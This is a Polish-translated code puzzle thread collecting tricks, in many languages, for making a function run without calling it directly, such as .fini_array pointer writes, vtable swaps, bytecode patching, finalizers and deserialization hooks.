Platformą z wyboru jest Linux. Nie możemy wywołać naszej funkcji, więc zamiast tego będziemy mieli naszego linkera:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Jak zdobyć magiczny adres?

Opieramy się na standardowej podstawowej specyfikacji rdzenia systemu Linux, która mówi:

.fini_array

Ta sekcja zawiera tablicę wskaźników funkcji, która przyczynia się do pojedynczej tablicy terminacji dla wykonywalnego lub współdzielonego obiektu zawierającego sekcję.

  1. Skompiluj kod:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Sprawdź adres .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Znajdź VMA tego:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

i zamień tę wartość na ADDRESS.


5

VB6 i VBA

Nie jestem pewien, czy to się kwalifikuje, czy nie, ponieważ wywołuje metodę klasy:

Dotyczy to modułu klasowego:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

A to jest kod „wzywający”:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Działa to poprzez zamianę funkcji vptr na dwa Subs w tabeli vt dla klasy.


Stary, jesteś niebezpieczny ! Niezłe!
Mathieu Guindon

Powiedziałbym, że się kwalifikuje, ponieważ w VB6 / VBA metoda jest członkiem klasy - w przeciwnym razie jest to procedura ;)
Mathieu Guindon

5

Haskell

W haskell, jeśli:

main=putStrLn "This is the main action."

Zostanie wykonany natychmiast, bez wywoływania jego nazwy po uruchomieniu. Magia!


1
Haskell się nie liczy. Nie możesz wywołać akcji We / Wy, tylko połączyć do niej więcej akcji We / Wy lub przypisać je gdzieś.
John Dvorak

Jest to odpowiednik koncepcji działań IO.
PyRulez

5

JavaScript

Łatwe, wystarczy użyć on___wydarzeń w JS. Na przykład:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Jawa

Inna odpowiedź od javy. Jak widać w kodzie, wywołuje on bezpośrednio theCalledMethod, ale notCalledMethodzamiast tego metoda jest wykonywana.

W końcu robię 2 rzeczy:

  • Wywoływanie metody bez wywoływania jej.
  • Nie wywoływanie metody przez jej wywołanie.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Uruchamianie:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

To zależy od platformy. W szczególności prawdopodobnie zawiedzie w systemie OS X, gdzie domyślnym kodowaniem znaków platformy jest UTF-8.
ntoskrnl

@ntoskrnl To powinno być łatwe do naprawienia, jeśli przekażesz nazwę kodowania jako parametr getBytes()metody, włączając ją getBytes("UTF-8"). Ponieważ nie mam systemu OS X, czy możesz przetestować, czy to działa?
Victor Stafusa,

UTF-8 nie działa dla danych binarnych. Jednobajtowe kodowanie, takie jak ISO-8859-1, powinno działać, ale traktowanie danych binarnych jako łańcucha jest nadal błędne.
ntoskrnl

3
@ntoskrnl W rzeczywistości zgwałcenie plików klas za robienie tego, co tutaj robię, jest złe, kodowanie jest najmniejszym z problemów. :)
Victor Stafusa

4

Pyton

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Jawa

Tak, wywóz śmieci!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Wersja dla tych, którzy nieuchronnie powiedzą, że System.gc()jest niewiarygodna:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Cel C

(Prawdopodobnie tylko jeśli jest skompilowany z clang na Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Ten kod wykorzystuje kilka sztuczek, aby dostać się do nieużywanej funkcji. Pierwsza to wartość 0x2A27. Jest to oznakowany wskaźnik dla liczby całkowitej 42, który koduje wartość we wskaźniku, aby uniknąć przydzielenia obiektu.

Dalej jest MyClass. Nigdy nie jest używany, ale środowisko wykonawcze wywołuje +loadmetodę po jej załadowaniu, wcześniej main. To dynamicznie tworzy i rejestruje nową klasę, wykorzystując NSValuejako jej nadklasę. Dodaje również +loadmetody dla tej klasy, używając MyClass„s -unusedMethodjak wdrożenie. Po rejestracji wywołuje metodę load na nowej klasie (z jakiegoś powodu nie jest wywoływana automatycznie).

Ponieważ metoda ładowania nowej klasy wykorzystuje tę samą implementację co unusedMethod, jest to skutecznie wywoływane. Pobiera samą nadklasę i dodaje unusedFunctionjako implementację doesNotRecognizeSelector:metody tej klasy . Ta metoda była pierwotnie metodą instancji MyClass, ale jest wywoływana jako metoda klasy w nowej klasie, podobnie selfjak obiekt nowej klasy. W związku z tym nadklasa jest NSValue, która jest również nadklasą NSNumber.

Wreszcie maindziała. Pobiera wartość wskaźnika i umieszcza ją w NSString *zmiennej ( __bridgei pierwszy rzut, aby void *umożliwić użycie z ARC lub bez). Następnie próbuje wywołać stringByAppendingString:tę zmienną. Ponieważ w rzeczywistości jest to liczba, która nie implementuje tej metody, doesNotRecognizeSelector:metoda jest wywoływana zamiast niej, która przechodzi przez hierarchię klas do miejsca, w NSValuektórym jest implementowana unusedFunction.


Uwaga: niekompatybilność z innymi systemami wynika z użycia oznakowanego wskaźnika, który, jak sądzę, nie został zaimplementowany przez inne implementacje. Jeśli zostałby zastąpiony normalnie utworzoną liczbą, reszta kodu powinna działać poprawnie.


Hm, spróbuj z ciruZ 'ObjFW , to całkiem przyzwoite środowisko uruchomieniowe Objective-C i framework, może to, lub coś bliskiego, też z tym zadziała ;-)
mirabilos

@mirabilos Jedyną niezgodnością jest 0x2A27wartość, więc po prostu nie wiem, czy jest ona zaimplementowana gdzie indziej. ObjFW jest zdecydowanie interesujący.
ughoavgfhw


@Bryan Thanks! Szukałem dokładnie tego artykułu i nie pamiętałem właściwej nazwy.
ughoavgfhw

@BryanChen ah dobrze. ughoavgfhw: Jasne, chciałem tylko wskazać alternatywne środowisko wykonawcze na wypadek, gdybyś chciał się nim bawić.
mirabilos

3

JavaScript

Wydaje mi się, że to nie wygląda na wywołanie funkcji

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Ładna granica, jeśli mnie zapytasz.
Cole Johnson

@ColeJohnson Myślę, że już go przekroczył ...
Tomas

3

C # (przez using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Jawa

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Korzystam ze specjalnej funkcji serializacji Java. readObjectMetoda jest wywoływana, gdy obiekt jest rozszeregować, ale nie jest bezpośrednio nazywa - nie przez mojego kodu, ani przez bibliotekę deserializacji. Jeśli zagłębisz się głęboko w źródło, zobaczysz, że na niskim poziomie metoda jest wywoływana wewnętrznie przez odbicie.


Tak; serializacja pozwala na dość śmieszne żarty :); btw są podobne sposoby w innych seriach serializacji dla java
masterX244

3

Perl

To takie proste. Poniższy kod automatycznie uruchamia kod w podprogramie, nawet bez wyraźnego wywołania.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Nawet jeśli anulujesz połączenie, połączenie zostanie nawiązane tylko raz.


w jaki sposób? nie mogę dostać się za magią +
masterX244
Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.